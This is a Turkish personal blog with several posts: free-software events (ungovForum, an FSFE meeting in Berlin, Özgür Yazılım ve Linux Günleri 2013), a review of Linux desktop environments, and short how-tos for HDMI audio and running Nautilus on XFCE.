Internet Ungovernance Forum (ungovForum) ve FSFE

Geçtiğimiz günlerde Internet Ungovernance Forum (ungovForum) gibi çok önemli bir etkinlik Alternatif Bilişim Derneği başta olmak üzere tüm gönüllülerin katkılarıyla İstanbul'da düzenlendi.

Internet Ungovernance Forum, sitesinde yazdığı gibi açık, güvenli ve özgür bir internet isteyenlerin buluşma noktası oldu. Hem de dünyanın dört bir köşesinden gelmiş olan aktivistin buluşma noktasıydı!

IGF varken neden ungovForum ortaya çıktı, etkinlikte neler oldu gibi soruları değerli arkadaşım Işık Mater'in yazısından okumanızı tavsiye ederim. Zira ben yazının genelinde benim için değerli birkaç anı ve ziyaretçilere özgür yazılımdan bahsettiğimiz Free Software Foundation Europe (FSFE) standından bahsedeceğim.

Işık Mater'in gözlemleri ile UngovForum daha da tamamlayıcı olacaktır.

Etkinlik benim için 4 Eylül Perşembe gecesi UngovParty ile başladı. Parti sırasında Aral Balkan ile tanışma fırsatım olmasının yanı sıra Jacob Appelbaum'a Şifrepunk kitabımı imzalatma fırsatım da oldu. :)

Jacob Appelbaum, imzaladığı kitabım ve ben \o/
Devamı »

17 Eylül 2014

Posted In: Alternatif Bilişim Derneği, free software, FSFE, GLFS, gnu/linux, igf2014, Özgür yazılım, stand, ungovForum

Berlin ve Avrupa Özgür Yazılım Vakfı Maceram

Geçtiğimiz hafta Avrupa Özgür Yazılım Vakfı'nın (Free Software Foundation Europe-FSFE) daveti ile Document Freedom Day kampanyası için düzenlenen uluslararası toplantıya katılmak için gittiğim Berlin'de hayatımın en güzel beş gününü geçirdim.


Document Freedom Day (Belge Özgürlüğü Günü), açık standartlar ve açık belge biçimleri konusunda kullanıcıları bilinçlendirerek belgelerimizi özgür kılmak amacıyla 2008 yılından beri her mart ayının son Çarşamba günü kutlanan özel bir gün. Tek günlük bir kutlama olmaktan ziyade uzun soluklu bir kampanyanın sadece bir parçası.

2012 senesinden beri bu özel günün Türkiye'de de kutlanması ve daha fazla kişiye yayılması için heyecanlı bir şekilde FSFE ekibi ile çalışmam diğer özgür yazılım kampanyaları ile de devam etmişti.

Birkaç ay önce Avrupa Özgür Yazılım Vakfı'ndan bir e-posta aldım. FSFE masraflarımı karşılayacaklarını belirtip, Berlin'deki DFD toplantısına katılmamdan mutluluk duyacaklarını iletmişlerdi.

Vize alma süreci, henüz işe başlayalı 5. ayımda oluşum, hafta içi 4 gün izin almam gerekliliği gibi endişelerim bir bir ortadan kalktı ve kendimi bir anda Berlin'de buldum.


Lucile benim havalimanından karşıladığında yol boyunca o kadar keyifli sohbet ettik ki kalacağım yere eşyalarımı bırakmadan önce FSFE ofisini görmek isteyip istemediğimi sordu. Elimde hediye dolu bavulum ile FSFE ofisine gittim.

Bir yıla yakın süredir birlikte çalıştığım, yazıştığım kişilerin sıcak karşılaması o kadar güzeldi ki kendimi bulunduğum şehirde de, ofiste de bir saniye bile yabancı hissetmemiştim.



FSFE ofisinin yan odasında duran KDE Vakfı'nı da görebilme imkanım ise mükemmel bir sürpriz olmuştu!


Lucile'in daveti ile geldiğim akşam kendimi Swing dans dersinde bulmuştum. O kadar keyifli duruyor ki izlemesi! Mezun olmadan önce "İstanbul'a bir taşınayım kesin Lindy Hop dansı için ders alacağım" deyişlerimi hatırladım bir an. Hâlâ bu dediğimi yapmamış olduğum için kendime kızdım.


Dans sonrası Lucile ve erkek arkadaşı Stefan ile yemek yiyerek, özgür yazılımdan hayatın her alanına farklı konulardan konuştuğumuz benim için çok değerli bir sohbet gerçekleştirdik.


Lucile FSFE'de intern olarak çalışıp, bir sürü kampanya için yoğun olarak katkı verip, muhteşem işler çıkartıyor. Stefan ise Apache Subversion ve OpenBSD için yazılım geliştirici olarak çalışıyor.

IT'de iş analisti olarak çalıştığımı ve yaptığım işleri öğrenen Stefan  bana Outreach Program for Women'dan bana uygun olabilecek bazı projeler olduğunu belirtip, bunlara göz atmamı önerdi. Kendisinin de bir dönem mentor olduğundan bahsetti.

Berlin'deki ilk gecem, Stefan'ın her akşam köşede Türk mezeleri satan dükkandan "Kısır" alarak evine gittiğini öğrenmem ile bitti. Lucile bu fotoğraf için verdiği poz şahane, değil mi? :)


Ertesi gün Document Freedom Day (DFD) için toplantımız başlamıştı. Sabahtan akşama yoğun bir şekilde DFD için bu sene dünyada yapılabilecekler, bütçe hesaplamaları, yerel etkinlik aktiviteleri, yeni web sitesinin demosu ve tartışılması, kimlerin nasıl görev alacağı ile ilgili konuşmalar sabahtan akşama sürmüştü. Bu arada toplantı sırasında Lucile'in blog yazısında okuyabileceğimiz tekniği kullandık aralarda. Zamanı yönetmek adına süper oldu!

Hediye dolu bavul içinde uzun zamandır yazıştığım, görüştüğüm arkadaşların hediyelerinin yanı sıra bir de Türk Lokumu bulunuyordu.



Fotoğrafımızda da görüldüğü üzere Avrupa Özgür Yazılım Vakfı'nda Türk Lokumu yendi. Evet bunu yaptım! :)  Türk kahvesi ile ilgili anılar için okumaya devam ediniz.

 Toplantının ilk gününün akşamı hep birlikte ofise yakın bir yerde yemek yiyerek, Almanya'ya özgü pek şahane şeyleri içtikten sonra (kaldığım süre o kadar çok o güzel şeylerden içtim ki, burada özlem içerisindeyim onlara) Lucile'in daveti ile düzenlenecek Cryptoparty ön toplantısı için Lucile'in evine gittik. Ben her ne kadar inanılmaz yorgun olduğum için erken kalmak zorunda kalsam da Berlin'de bulunduğum her anın dolu dolu geçtiğine şimdi bir kez daha emin oluyorum.


Fotoğrafta gördüğünüz pengueni Berlin'de görmem ve almam arasındaki düşünme payı tahmin edildiği üzere inanılmaz kısa sürdü. :)

Toplantının ikinci günündeki sunumlardan biri Türkiye'deki Belge Özgürlüğü Günü çalışmaları hakkındaydı. 30-40 dakika boyunca Türkiye'de 2012 yılında bir labda pasta keserek başlayan etkinlik sürecinin, ikinci senesinde nasıl da büyüdüğünü, bu sene ülkemizde açık standartlar için neler yapılabileceğini anlattım, konuştuk, tartıştık..

 Toplantı sırasında birçok not aldık. Belge Özgürlüğü Günü ve Türkiye içerikli yazımı sonraya saklıyorum. Bu muhtemelen daha çok madde içeren bir yazı olacak.
Lucile Falgueyrac toplantı ile ilgili bir blog yazısı: DFD international meeting, Nov 2014


Anna da İngiltere'de müthiş bir şekilde özgür yazılım kampanyaları için çabalayan diğer bir kadın arkadaşımız. Ne güzel ki toplantımızda kadın yoğunluğu hiç de küçümsenecek kadar çoktu!

Berlin'deki dördüncü günüm toplantıların da bitmesi ile tamamen boştum. Şanslıyım ki kaldığım süre boyunca herkes kendimi başka bir ülkede yalnız hissetmemem için bulunduğum her dakika, her saat farklı tekliflerle gelmişti.

Dördüncü günün sabahı erkek kardeşimin siparişlerini toplamak ile geçti. Hediye dolu gelen bavul, giderken de aynı şekilde doluydu.

           

Öğlen ise buluşup, birlikte yemeğe çıktık.


Yemeğin ardından Sam'e "Türk kahvesi nasıl yapılır?" şeklinde hızlandırılmış bir ders verdim.



Sam, Türk Lokumu getireceğimi duyduğunda; yoğun tatları, kahveler ile içmekten mutlu olduğunu söylemişti. "Türk kahvesi ve Türk lokumu ayrı olmaz zaten" diyerek buradan fincan takımı, kahve, cezve vs hediye almıştım ona da.

FSFE kampanya yöneticisi arkadaşımız Sam hızlı bir şekilde kahve nasıl yapılır öğrendi. Şahane de kahve pişirdi!


Yemek, kahve merasimin ardından çok merak ettiğim Computer Spiele Museum'e gidip, bilgisayar oyunları müzesi nasıl olurmuş diyerek Matti ve Paul ile zaman geçirdik. Berlin'e yolunuz düşerse muhakkak buraya da uğrayın.

 

Gece ise Erik ile buluştuk ve Punk Rock konserine ve çıkışta bir ev partisine gittik. Çok değişik ama bir o kadar da eğlenceli bir gece oldu benim için. 


"Son gece nasılsa, uyumasak da olur" diye Erik ile sabaha karşı 5'e kadar gezerken iş arkadaşlarıma getirmek için uygun çikolata arama maceramız ise unutamayacaklarımdan oldu.

Tabii aşağıdaki kareler de..



 

10 Aralık 2013

Posted In: Berlin, BerlindeOlanBerlindeKalır, dfd2013, free software, Germany, GLFS, gnu/linux

Özgür Yazılım ve Linux Günleri 2013

4 senedir aralıksız katıldığım bir ÖYLG'nin daha sonuna geldik. Yaşadıklarımı anlatmak istiyorum.

Cuma sabahında Alternatif Bilişim cemaati olarak Hackerspace'de buluşup etkinlik alanına doğru yola çıktık. Bilgi Üniv. servislerinin yerinin değiştirmelerinden haberim olmayınca ufak bir krizden de kurtulmuş oldum.
Bu sene etkinlik Santral kampüsünün enerji müzesinde yapılıyordu. Etkinlik alanını Dolapdere'dekinden daha çok beğendiğimi söyleyebilirim. Sponsor listesinin kabarık olmasıyla ve demirbaş haline gelmiş kurumların katılımıyla stand sayısı fazlaydı. Salonların büyüklükleri iyiydi.

Etkinlik teması dağıtık sistemler ve NoSQL veritabanları olarak belirlenmişti. NoSQL pek aşina olduğum bir konu değil ama ÖYLG'nin güncel bir konuyu seçmesine memnun oldum. 7-8 tane konuşmayı dinleyebildim. Onlardan bahsettikten sonra, hatrı sayılır gördüğüm şeyleri anlatmak istiyorum.

İlk olarak mevcut Pardus proje yöneticisi Ahmet Kaplan'ın konuştuğu TÜBİTAK ULAKBİM'ın sponsor sunumuna girdim. Etkinlikten günler önce konuşmanın protesto edileceği konuşuluyordu. Bir ara konu yumurta atmaya kadar geldiyse de böyle bir olay yaşanmadı. Ahmet Bey sunum yapmadan kısa bir konuşma yapıp zamanı sorulara ayırmak istedi. O sırada eski geliştiriciler de salondaydılar. Gökçen Eraslan'ın "Eski Pardus'tan hangi bileşenleri kullanıyorsunuz ?" sorusuna cevabın Milky olmasına epey bir içerlemiş gözüküyordu. Bu süreç boyunca tepkisini çok net ortaya koyan insanlardan olan Ozan Çağlayan eleştirilerini sıraladıktan sonra "Kurumsal 2 zaten isteklerinizin çoğunu yapıyordu" sözüne "Sizin yaptığınız ürün çalışsaydı MSB bizim kapımıza dayanmazdı" cevabı basbaya ayıptı. (Sözü geçen ürünün 3.5-4 senelik Kurumsal 1 olduğunu hatırlatayım) Ahmet Beyin dışarıda bu söz için özür dilediğini not düşeyim. Dinleyicilerden birinin "LibreOffice çeviri listesinde TÜBİTAK'tan niye kimse yok" sorusuna verilen "Olmaması da lazım zaten " cevabı gülünçtü.
Konuşmadan anladığım şeyler arasında Yeni Pardus deposunun kamuya açık olmaması Tübitak'ta yaklaşık 5 kişinin bulunup geri kalan işlerin firmalara yaptırılması gibi şeyler vardı. Aslında servis sağlayıcısı görevi gören bir kurumun Linux dağıtımı geliştirmeyi ne kadar becerebileceği hala tartışma konusu. Konuşma süresi biraz aşılsa da tartışma dışarıda uzunca bir süre devam etti. Bir kısmını dinledim. Hararetli tartışma bir yerden sonra yumuşadı. Eski geliştiriciler tartışmayı trollemediler ve tavırları yaşadıklarına rağmen makul ve gerçekçiydi. Etkinliğin en merak edilen olaylarından biriydi. Konuşma sırasındaki protesto görüntülerine https://pardusadokunma.wordpress.com/2013/04/06/ozgur-yazilim-gunleri-2013-tubitak-protestosu/ adresinden erişebilirsiniz.

Ardından Ekin Meroğlu'nun yaptığı Linux Tabanlı Sanallaştırma: KVM ve Ekosistemi konuşmasına katıldım. 1.5 saate yakın sürdü. Oldukça yoğun ve bilgilendirici olduğunu düşünüyorum. Sanallaştırma pek ilgilendiğim bir konu değildi ama ilginç olabileciğini düşünüyorum. Bu konuşmaya denk gelmem iyi oldu.

ÖYLG'ninde özellikle Chris Hoca(Stephenson)'nın sunumunu kaçırmamaya çalışıyorum. Özgür yazılım camiasına Chris Hoca'dan bahsetmeye elbette gerek yok. Ama piyasadan pek hazetmeyen ben için yaptığı bilim vurgusu çok değerli ve kendi adıma büyük bir boşluğu doldurduğunu düşünüyorum. Konuşma başlığı GoTo’nun Zararlı Kabul Edilmesi – Dijkstra’nın Mirası olsa konunun odak noktası Dijkstra'ydı hatta GoTo 2-3 cümleden fazla geçmedi diye hatırlıyorum. Artık klasikleşmiş bir şekilde konuşmada Java'ya giydirmeyi de ihmal etmedi.

Ardından oldukça provakatif ve gel beni dinle diyen bir başlığa sahip Yaşar Safkan'ın Yazılımcının Suçu Ne ? sunumunu izledim. Zaten eğlenceli bir insan olan Yaşar Abi komik bir şekilde yazılımcıların sorunlarına değindi. Konuşmayla ilgili bir özet için http://www.teknikodu.com/yazilimcinin-sucu-ne/ konuşma videosu için buraya http://www.safkanyazilim.com/yasar-safkanin-ozgur-yazilim-gunleri-2013teki-konusmasi/ bakabilirsiniz.

İlk günün son etkinliğinde Uğur Özyılmazel'in İnsanlar için Git konuşmasını dinledim. Git'e aşina olmayanlar için güzel bir girişti. Git yaşam döngüsünü biliyordum ama otomatize eden git-flow aracınında haberdar değildim. Onu da buraya not düşebilirim.

İkinci gün biraz geç kaldığım için Neden Scala konuşmasının ortalarına denk geldim. Güzel bir giriş sunumuydu ama ben dilden haberdar ve basit seviyede bilen biri olduğum için yeni pek fazla şey duymadım. Ancak concurency'ye en yakın kelimeyi bulduklarını düşünüyorum eş-zamanlılık diyerek.

Tizen konuşmasını dinleyemesem de Meego topluluğuyla görüşmek güzeldi. Galaxy S3'ün boyutlarından şikayet edenlere Tizen demo cihazını göstermek isterdim.

Ardından HortonWorks'ten Chris Harris'in Hadoop sunumunu izledim. Yanlış anlamadıysam HortonWorks Yahoo'daki ilk Hadoop ekibinin üyeleri tarafından kurulmuş ve Hadoop Core'una en çok katkıyı veren şirket. Harris'in konuşması Hadoop ne işe yarar, hangi bileşenlerden oluşuyor, yahu ne olcak bu Hadoop'un hali konuları eksenindeydi. Teknik detay pek içermiyordu diyebilirim. Konuşmayı dağınık bulanlar olmuş, ben pek farketmedim.

Sonrasında günün son sunumlarından olan Yakından Eğitim'e girdim. GSoC'un yerli şubesi diyebileceğim yakından eğitim ilgilendiğim takip ettiğim ancak belli çekincelerle başvurmadığım bir projeydi. Sunumdan anlayabildiğim kadarıyla onlar da projeyi oturtmaya çalışıyorlar kendilerine tekrar başarılar dilerim.

Etkinlikte sunumlar dışında olan bitenden de biraz bahsetmek istiyorum.

Hackerspace olarak getirdiğimiz Commodore 64 büyük ilgi gördü. Mail listesi kayıtlarını oradan almaya çalışsak da ben e-posta bırakmıştım ama eklemediniz sözünü çok duyacağız gibime geliyor. Commodore'a sonsuz döngü yapan bir program yazıp beni kullanmayı bilmediğim bir aletle öylece ortada bırakan Uğur Abiye de teessüflerimi burdan ileteyim. Hatta biri o durumun resmini de çekmiş.Malum trollük mağduru olunca eğlenceli olan bir şey değil :)
Ancak etkinliğin en büyük trollü ödülünü aşağıdaki ilanla bence Bilgisayar Mühendisliği Odası hakediyor.
Piyasada görmeye çok alıştığımız 5 kişinin işini 1 kişiye yaptırma amaçlı ilanların biraz abartılmış versiyonu. Tepedeki referans kodununun YUH ile başladığını farketmeyen ben dahil pek çok kişi bunu ciddiye aldı ve çokca dalgası geçildi. Kendim de fark etmedim aslında bunu BMO adına üzüldüğüm için sitem etmeye gittiğimde gösterdiler. İnternette falan da bozuntuya vermediler. Trollüğün kitabı yazılacak olsa girmesi gereken bir hareket.

LKD standında bir süre sadece kadınların bulunması özellikle saç,sakal,göbek triosuyla akla gelen linuxçu stereotype'ına karşı hoş bir görüntüydü. Özgür yazılımda kadınların daha aktif olmaları dileğiyle diyeyim.

Yeni tanıştığım insanlar karşısında heyacanlanıp, yer yer gaza gelip insan kilitleme gibi kötü bir huyum var ne yazık ki. Bu seneki piyango Biçda standındaki hanıma vurdu kendisinden özür dileyeyim buradan.

Gördüğüm kadarıyla her sene etkinlik biraz daha ileriye gidiyor. LKD'ye ve organizatörlere emeklerinden dolayı teşekkür ederim. Bir aksilik olmazsa seneye görüşmek üzere.

9 Nisan 2013

Posted In: Etkinlikler, Gezegen, gnu/linux, Özgür yazılım

Masaüstü Ortamları (Yeniden)

Geçenlerde Virtualbox üzerinden Arch Linux'u kurcalarken aklıma bir fikir geldi. X'i çalışır hale getirdikten sonra bir snapshot alarak farklı masaüstlerini denemeye başladım. Daha önce DE'ler üzerine yazdığım yazının eskidiğini fark edince tekrar yazmak istedim.

Denemeleri Virtualbox üzerinde çalışan 64 bit Arch Linux 2012.11.01 sürümüyle yaptım. Host makinamın da 3.5-4 senelik olduğunu da belirtmek isterim. Denemeyi günlük kullanımla değil DE'nin orasını burasını kurcalayarak yaptığımı ve günlük kullanımda farklı manzaralarla karşılaşabileceğini de ayrıca hatırlatmak isterim

KDE

Kanımca  KDE DE olmayı aşalı çok oldu. Çünkü DE'den gayrı sistemde kullanılan bir çok yazılımı kendileri geliştiriyorlar. Bu işi de oldukça iyi yaptıklarını düşünüyorum. Çünkü KDE yazılımlarının bir çoğu oldukça kaliteli ve bazıları GNU/Linux ekosisteminde alanlarının en iyisi. Zaten bildiğim kadarıyla KDE artık masaüstü ortamı olarak değil yazılın derlemesi (SC) olarak anılıyor.

KDE 4'un Plasma kabuğu oldukça yenilikçi bir araç ve sürekli yenileniyor. Activity özelliği ile beraber sanal masaüstünde çığır açtıklarını da söyleyebilirim. KDE 4 serisinin en çok şikayet edilen noktalarından biri olan performans sorunun KDE 4.8 ile çözdükleri konuşuluyordu şahsen denemediğim için yorum yapmak istemiyorum.

KDE'nin kendi altyapısına sahip olması KDE yazılımlarını diğer DE'lerde kullanmak konusunda sorun yaratıyor. Çünkü tek bir KDE yazılımı için 50 MB'ın üzerinde KDE baseini kurmak gerekiyor.

KDE'ye sık getirilen eleştirilerden birisi Windows'a benzemeye çalışması. Ben bu iddiayı pek ciddiye almadığımı söyleyebilirim. Çünkü Windows veya Mac OS'tan gelen insanlar genelde panel altta olunca Windows'a üstte olunca Mac'e benzediğini iddia ediyorlar ki  (Paneli üstte olan KDE'nin Mac Os'a benzetildiğini duymama binayen bunu söylüyorum) bu gülünç. KDE'nin Windows'a benzemeye çalışmadığını yenilikçi teknolojileriyle zaten ispatladığını düşünüyorum.

KDE'nin Windows'a benzemesini masaüstüyle beraber araçları da kendi geliştirmesi yoluyla olduğunu düşünüyorum. Ortaya özgür ve kaliteli ürünler çıktıktan sonra bunu umursamamakla beraber, Windows'a benzeme eleştirisinin de bu noktadan geldiğine pek şait olmadım.

Ayrıca KDE'nin teknik anlamda teknolojilerini ve codebase'ini kaliteli bulduğumu da söylemeliyim.  Qt frameworkü beğenmekle beraber bir araç seti olarak özgür yazılım camiasının en önemli silahlarından olduğunu düşünüyorum.

Full KDE kurulumu yaklaşık 700 MB tutuyor ve büyük ihtimalle kullanmayacağınız eğitim programlarını, oyunları, artworkleri de içeriyor. Paketlerin diğer gruplardan seçimi daha ekonomik olacaktır kanısındayım.

Performans sorununuz yoksa KDE DE'ler arasında bence en iyi seçimlerden bir tanesi.

GNOME

GNOME 2'nin sadık bir kullanıcı kitlesi ve oturmuş bir düzeni varken GNOME 3'te gidilen radikal değişiklikler oldukça tepki çekti. Genelde DE'ler yeni sürümlerde radikal değişikliklere giderken tepki çekenin bu değişikliklerin iyi kotarılamadığının düşünülmesi olduğunu söylemek mümkün.

Eleştirilerin genelde odaklandığı nokta olan özelleştirme azlığı üzerine yorum yapmam pek mümkün değil çünkü günlük olarak kullanmadım. Yapılan en büyük değişiklik sanırsam Etkinlikler arayüzü, hoş fikirler barındırsa da bence iyi kotarılamamış.

Etkinlikler arayüzü ilk açıldığında ortada bir multitasking menüsü sol da bazı uygulama kısayolları ve sağda sanal masaüstleri bulunuyor.Uygulama menüsüne sağ alta doğru bir tuşa basarak erişiyorsunuz. Etkinlik arayüzünün uygulama menüsünün yerine geldiğini düşünürsek uygulamalara erişmek zahmetli hale geliyor. Uygulama menüsünün altına açık penceleri gösteren bir multitasking menüsü bence çok şık olurdu.

Pencere menülerinde de enterasan bir değişikliğe gidilmiş ama kendi adıma beğenmediğimi ifade edebilirim. Klasik panel görüntüsü devam etmekle beraber pencere menüleri paneldeki ilgili pencere simgesine tıklanarak açılır hale gelmiş. Verimli bulmadım. Ayrıca pencereyi tam ekrandan ufalttığınızda hala bir pencere başlığı var ve simge durumuna küçült ve tam ekran seçenekleri olmadan sadece kapat butonu var ki bence sinir bozucu.  Pencereyi ekran kenarlarına sürükleyerek sağa sola alma büyütme getirilmiş.

Geçenlerde GNOME 3'ün bu arayüzden vazgeçeceğine dair haberler vardı. Zaten bu haliyle de önerebileceğim bir DE değil.

Unity

Unity yanlış hatırlamıyorsam ilk defa Ubuntu 11.04 ile kullanılmaya başladı. Çok tartışılmasına ve eleştirilmesine rağmen şahsen kullanmadığımı ve kendi değerlendirmemi izlenimler ve videolar üzerinden yapacağımı belirteyeyim.
 Her DE gibi ilk çıktığında sorunlarla boğuşmakta olduğunu ve 2 senenin ardından biraz oturduğunu duyuyordum.

Başka bir DE'den geçtiyseniz büyük ihtimalle ilk fark edeceğiniz şey pencere menülerinin yukarı panele alınması olacaktır. Çok eleştirilmesine rağmen yerden tasarruf etmeyi ve uygulamaya daha fazla alan bırakmasının kullanışlı olabileceğini düşünüyorum. Uygulama başlatma ve açık uygulamaların görülmesi için solda bir panel tasarlanmış.

Panelde bazı uygulamaların kısayolları ve bir Ubuntu logosu görünüyor. Ubuntu logosunun oldukça yetenekli bir uygulama menüsü olduğunu söyleyebilirim. Aynı zamanda resim, müzik gibi medyaların önizlemesini de yapabilmekte. Ubuntu 12.10 ile gelen Amazon entegrasyonu epey tartışma yarattı.

EFF (Electronic Frontier Foundation/ Dijital özgürlüğü ve internet özgürlüklerini korumak için çalışan bir vakıf. Türkiye'deki benzeri için http://www.alternatifbilisim.org/wiki/Ana_Sayfa adresine bakabilirsiniz) kullanıcıların iletişimini ve verilerini tehlikeye atacağını duyurdu. Ben de Amazon entegrasyonu kapatmanızı öneririm.

Atıl Meta/Windows tuşuna işlev kazandıran HUD arayüzünü çok beğendim. Pencere menüleri arasında arama yapabilmek şahane bir özellik olmuş.
En sık söylenen şeylerden biri de Ubuntu'nun Mac OS'e fazlasıyla benzemesi. Mac OS ciddi bir şekilde benzediği doğrudur. Ancak kendi teknolojileriyle bir Mac OS klonu olmaktan çok öte DE olduğunu düşünüyorum.

Özelleştirme seçenekleri ve diğer uygulamalarla entegrasyonu hakkında pek fikrim yok.
Unity genel anlamda ilginç bir masaüstü deneyimi sunuyor. Kendim denemek için üşensem de denemeye değer olduğunu düşünüyorum.

MATE

MATE bir GNOME 2 forku. Denerken eski GNOME 2'den pek farkını göremediğimi söyleyebilirim. Sanal makina üzerinden performans üzerinden yorum yapamasam da eski performans/sadelik dengesini yakalamışsa eski masaüstü tecrübesini arayanlar için iyi bir seçim olabilir.

XFCE

Yaklaşık 1 senedir DE olarak XFCE kullanmaktayım.Eskiden kısıtlı donanıda çalışacak hafif bir DE olarak tasarlandığını bilmeme rağmen yeni sürümü bana GNOME 2'nin açığını doldurmaya çalıştığını düşündürttü. Performansının hala oldukça iyi olmasına karşın masaüstü tecrübesi olarak GNOME 2'ye oldukça benzediğini söyleyebilirim. Kendi uygulamalarını tatminkar bulmuyorum. Ancak GNOME yazılımları kurulduktan sonra iyi bir deneyim yaşattığını söyleyebilirim. Eski masaüstü tecrübesini arayanlar için gayet iyi bir seçim olabilir.

LXDE

Çok hafif bir DE olduğunu söyleyebilirim. Sanal makinada bile oldukça performanslı çalıştı ve ayrıca kurulurken bilgisayar kullanımı için gerekecek temel yazılımları da beraberinde getirmesiyle kısıtlı donanımlar için oldukça iyi bir seçim.

Enlightenment

Enlightenment'in amacı minimal bir DE olmak olsa da oldukça enteresan özellikleri olduğunu söyleyebilirim. Klavye dilini bayrakla göstermesini beğendim. Dosya yöneticisinde bir dosyanın üzerine gelindiğinde önizleme olarak içini göstermesi de olduça hoş. Klasörleri farklı pencerelerde açması ve yer yer tıklanan pencerede focus problemi yaşaması da bence bir eksi.

Gene de enteresan ve hafif bir DE kullanmak isteyenlere Enlightenment önerebilirim.

Openbox + Razor-Qt

 Razor-Qt oldukça yeni bir DE ve aslında yukarıda yazdıklarımın içinden en minimal olanı kendi pencere yöneticisi,dosya yöneticisi falan yok. Bir pencere yöneticisi üzerine çalıştırıyorsunuz ve size bir arayüz sağlıyor bu kadar. Durumu şöyle açıklayabilirim. X ilk kurulduğunda  bir terminal ve fare imlecinden fazlası değil. Bunun üzerine salt bir pencere yöneticisi kurduğumuzda mesela Openbox GUI'den program çalıştırmak için çok basit bir menü ve bir uygulama açtığımızda eski güzel simge durumuna küçült,tam ekran ve kapat tuşları geliyor. Openbox'un becerisi de bundan ibaret. Üzerine Razor-Qt kurduğumuzda yukarıda bahsettiğim DE'lerin sunduğu arayüze erişebiliyorsunuz.
Razor-Qt nedense bana KDE 3'ü anımsattı.
Hala deneysel olsa da ilginç olabileceğe benziyor. Gözucuyla da olsa takip etmekte fayda görüyorum.

Masaüstü ortamlarıyla ilgili yazdığım ilk yazıya adresinden ulaşabilirsiniz.

4 Aralık 2012

Posted In: Gezegen, gnu/linux, Özgür yazılım

XFCE üzerinde HDMI’dan ses çıkışı almak

Bir süredir bilgisayarımı ekran olarak bir LCD TV kullanarak kullanma imkanı buldum. Bağlantıyı da yazının başlığından anlayabileceğiniz gibi HDMI ile yapıyorum. Ancak HDMI'dan ses çıkışı almayı oldum olası becerememişimdir. XFCE Ses karıştırıcısından dahili ses kartını HDMI yapmak işe yaramadı aynı şeyi terminalden alsamixer kullanarak yapmayı denediğimde pek sonuç alamamıştım. İnternette bazı yerlerde dahili ses çıkışının kapatılması gerektiğini okudum. Ancak XFCE ses araçları bunu sağlayamadığı için başka bir yok aramaya başladım. Sonra Pulse Audio ses araçlarının daha detaylı seçenekler sunduğunu hatırladım.  Sorunu çözmek için bu adımları uygulamam gerekti

pavucontrol paketini kurmak
ve Configuration sekmesinden dahili ses ayarını kapalıya getirmek.

Kullandığım dağıtımın Xubuntu 11.10 olduğunu ve ekran kartımın ATI Radeon 4650 olduğunu da not düşeyim. Kendim için düştüğüm bu not birine es kaza faydalı olursa da ayrıca mutlu olurum.

29 Nisan 2012

Posted In: Gezegen, gnu/linux

XFCE 4.8 üzerine Nautilus kurulumu

XFCE'nin varsayılan dosya yöneticisi Thumar'ı yavan bulduğumdan bir önceki yazımda bahsetmiştim ve dosya yöneticisi olarak Nautilus kurmaya çalıştım  O süreçten biraz bahsetmek istiyorum.


Öncelikle herkesin en başta yapacağı gibi depolardan Nautilus'u indirdim. Ama çalıştırdığım zaman sorun olmamasına rağmen bütün masaüstü simgeleri kayboldu ve arka plan komple mavi oldu. (Mavi ekran hoş çağrışımlar yapmadı tabii)


İnternette biraz dolandığımda bu sorunun Nautilus'un GNOME üzerinde çalışmadığını fark etmesi ve bazı masaüstü ayarlarına müdahale etmeye çalışması yatıyormuş. GNU/Linux üzerinde masaüstü olarak adlandırdığımız alanın dosya yöneticilerini tarafından sağlandığını öğrenmek kısa süreli bir şok yaşattı.


Bu durumda yapılacak olan şey varsayılan tarayıcı olarak Nautilus kullanıp masaüstünün Thunar tarafından yönetilmesini sağlamaktı. Bunun için Nautilus yapılandırma dosyalarında bazı değişiklikler yapmak gerekiyor. 



gconftool-2 -s -t bool /apps/nautilus/preferences/show_desktop false &

gconftool-2 -s -t bool /apps/nautilus/preferences/draw_background false &

dconf write /org/gnome/desktop/background/show-desktop-icons false 

Bu değişikleri yapmak yerine Nautilus'u  --no-desktop parametresiyle de çalıştırabilirsiniz ama eklentileri falan olumsuz etkiler mi bilmediğimden öyle bit yola girdim.  Bu değişikler yapıldıktan sonra Nautilus'u güzel güzel kullamabilmeye başlıyoruz ama masaüstü simgeleri Thunar tarafından yönetildiği için çift tıkladığımızda Thunar ile açılıyor. Bu adreste durumu değiştiremeyeceğimizi söylemiş ama Thunar'ın sağ tık menüsüne Open in Nautilus tadında bir komut eklemiş. Onun komutu da bu

gconftool-2 -s -t bool /apps/nautilus/preferences/show_desktop false &mv .config/Thunar/uca.xml .config/Thunar/uca.xml.bak ; sed 's/<\/actions>$/nautilus<\/icon>Open in Nautilus<\/name>nautilus %F<\/command><\/description>*<\/patterns><\/action><\/actions>/' .config/Thunar/uca.xml.bak > .config/Thunar/uca.xml

Aslında bu işlemi yapmadan masaüstü simgelerini de kapatabiliriz. Ama her ne kadar aygıtların simge olarak masaüstünde durmasından hoşlanmasam da (KDE'nin aygıtları panel notifikasyonu olarak gösterme çözümünü oldukça beğeniyorum) masaüstünde dosya işlemleri yapamamak hoşuma gitmediği için bunu tercih ettim. 

Bu işlemleri uyguladıktan sonra dosya yöneticimiz Nautilus'un keyfini çıkarabiliriz.

Yukarıda adresini verdiğim de başka kullandığım başka bir kaynakta bu onu da bildirmek istedim. http://ubuntuforums.org/showthread.php?t=1768245 

8 Şubat 2012

Posted In: Gezegen, gnu/linux

XFCE ve Xubuntu Üzerine

Tübitak 1 senedir kullanmakta olduğum Pardus 2011 serisini bitirince bende yeni bir dağıtım arayışına girdim. Şunu fark ettim ki masaüstü yöneticisi seçimi dağıtım seçimini oldukça etkiliyor. Önce masaüstü yöneticisini seçmek istedim. KDE'yi ve uygulamalarını aslında oldukça seviyorum ama farklı bir şey denemek istedim. Unity ve GNOME 3.x serisi pek beğenilmediğinden tercihimi XFCE'den yana kullandım. Dağıtım tercihimi de Xubuntu 11.10'dan yana kullandım. Tecrübelerimden biraz bahsetmek istiyorum.

